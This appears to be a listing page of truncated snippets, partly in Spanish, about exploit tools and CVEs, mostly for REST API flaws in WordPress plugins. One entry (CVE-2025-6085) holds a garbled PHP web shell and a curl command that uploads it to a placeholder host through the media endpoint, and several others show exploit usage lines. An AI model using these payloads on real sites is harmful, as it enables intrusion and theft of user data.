wpUsersScan

wpUsersScan Acerca de wpUsersScan Enumera la lista de usuarios de los sitios web de WordPress a través de la API REST / CVE-2017-5487, WordPress 4.7.1 - Enumeración de nombres de usuario Uso root@kitploit: $ python wpUsersScan.py URL Cómo instalar Clonar Clona el repositorio con: root@kitploit: $...

CVE-2017-5487-EXPLOIT

CVE-2017-5487 - Enumeración de Usuarios de WordPress Se ha descubierto una vulnerabilidad en la implementación de la API REST de WordPress 4.7 anterior a 4.7.1. Esta vulnerabilidad está presente en el archivo class-wp-rest-users-controller.php ubicado en wp-includes/rest-api/endpoints. El fallo...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ Una vez que la shell está...

CVE-2021-22986

CVE-2021-22986 F5 BIG-IP/BIG-IQ iControl Rest API SSRF a RCE Uso: root@kitploit: python CVE-2021-22986.py...

Doozer

Doozer Doozer es una utilidad extensible y automatizada para el descifrado de hashes que automatiza el análisis, el descifrado y la organización de hashes de contraseñas. Actualmente, Doozer admite hashes nt/lm, ntlmv1 y ntlmv2 de Responder o SAM, pero cuenta con una arquitectura modular que...

CVE-2023-5561-PoC

PoC CVE-2023-5561 - Divulgación de correos electrónicos de usuarios de WordPress Descripción Este script explota la vulnerabilidad CVE-2023-5561 en WordPress para enumerar y divulgar las direcciones de correo electrónico de los usuarios a través del endpoint de la API /wp-json/wp/v2/users...

CVE-2024-10924-Wordpress-Docker

CVE-2024-10924 : Vulnerabilidad de omisión de autenticación en Really Simple Security para WordPress en Docker Descripción Los complementos Really Simple Security Free, Pro y Pro Multisite para WordPress, versiones 9.0.0 a 9.1.1.1, se ven afectados por una vulnerabilidad de omisión de...

CVE-2025-4631

🚨 CVE-2025-4631 - Exploit de Escalada de Privilegios del Plugin Profitori de WordPress 📌 Resumen de la Vulnerabilidad El Plugin Profitori versiones 2.0.6.0 a 2.1.1.3 es vulnerable a una escalada de privilegios no autenticada debido a la falta de una comprobación de capacidades en el endpoint...

teamcity-exploit-cve-2023-42793

TeamCity Exploit Cve 2023 42793 Un script rápido para explotar la vulnerabilidad cve-2023-42793. Algunas lecturas adicionales sobre el exploit se pueden encontrar aquí: https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793​...

WP Go Maps < 10.0.10 - Unauthenticated Marker Information Disclosure

WP Go Maps WordPress plugin 10.0.10 contains an information disclosure vulnerability caused by lack of approval-state filtering on the public single-marker REST endpoint, letting unauthenticated users access unapproved marker records including PII and geographic coordinates, exploit requires no...

Gravity SMTP WordPress Plugin - Sensitive Information Exposure

Gravity SMTP WordPress plugin = 2.1.4 contains a sensitive information exposure caused by an unrestricted REST API endpoint at /wp-json/gravitysmtp/v1/tests/mock-data, letting unauthenticated attackers retrieve detailed system configuration data, exploit requires no authentication. id:...

REST API TO MiniProgram <= 4.7.1 - SQL Injection

The REST API TO MiniProgram plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the /wp-json/watch-life-net/v1/comment/getcomments REST API endpoint in all versions up to, and including, 4.7.1 due to insufficient escaping on the user supplied parameter and lack of...

Sensei LMS < 4.24.2 - Email Template Leak

The Sensei LMS WordPress plugin before 4.24.2 does not properly protect some its REST API routes, allowing unauthenticated attackers to leak email templates. id: CVE-2024-7786 info: name: Sensei LMS 4.24.2 - Email Template Leak author: s4e-io severity: high description: | The Sensei LMS WordPress...

LottieFiles for Gutenberg <= 3.0.0 - Unauthenticated Settings Disclosure

The LottieFiles – Lottie block for Gutenberg plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0.0 via the /wp-json/lottiefiles/v1/settings/ REST API endpoint. This makes it possible for unauthenticated attackers to retrieve the site...

Open Automation Software OAS Platform V16.00.0121 - Missing Authentication

An improper authentication vulnerability exists in the REST API functionality of Open Automation Software OAS Platform V16.00.0121. A specially-crafted series of HTTP requests can lead to unauthenticated use of the REST API. An attacker can send a series of HTTP requests to trigger this...

XWiki Platform - Unauthorized Document History Access

A vulnerability in XWiki Platform's REST API allows unauthorized users to access document history information. The REST API endpoint exposes the history of any page including modification times, version numbers, author details username and display name, and version comments, regardless of access...

Mail Mint < 1.19.5 - Unauthenticated Email Disclosure

Mail Mint WordPress plugin 1.19.5 contains an information disclosure vulnerability caused by lack of authorization in a REST API endpoint, letting unauthenticated users retrieve email addresses of blog users, exploit requires no authentication. id: CVE-2026-2025 info: name: Mail Mint 1.19.5 -...

Download Monitor <= 4.7.60 - Sensitive Information Exposure

The Download Monitor plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 4.7.60 via REST API. This can allow unauthenticated attackers to extract sensitive data including user reports, download reports, and user data including email, role, id and...

SEOPress < 7.9 - Authentication Bypass

The SEOPress WordPress plugin before 7.9 does not properly protect some of its REST API routes, which combined with another Object Injection vulnerability can allow unauthenticated attackers to unserialize malicious gadget chains, compromising the site if a suitable chain is present. id:...

Rank Math SEO <= 1.0.40.2 - Redirect Creation via Unprotected REST API Endpoint

The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to create new URIs that redirect to an external web site via the unsecured rankmath/v1/updateRedirection REST API endpoint. In other words, this is not an "Open Redirect" issue; instead, it allows the...